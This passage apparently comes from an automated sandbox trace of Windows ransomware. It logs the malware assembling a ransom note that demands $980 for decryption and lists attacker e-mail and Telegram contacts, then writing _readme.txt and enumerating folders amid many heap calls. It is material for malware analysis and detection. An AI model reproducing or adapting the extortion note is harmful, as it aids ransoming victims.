on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.649] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.649] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.649] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.649] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.650] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.650] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.650] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.650] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.650] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.650] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.650] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.650] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.650] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.650] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.650] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.650] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.650] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.650] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.650] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.650] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.650] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.650] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.650] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.650] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.650] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.650] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.650] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.650] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.650] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.650] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.650] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.651] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.651] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.652] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.652] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.653] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.653] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.654] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.654] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.655] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.655] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) 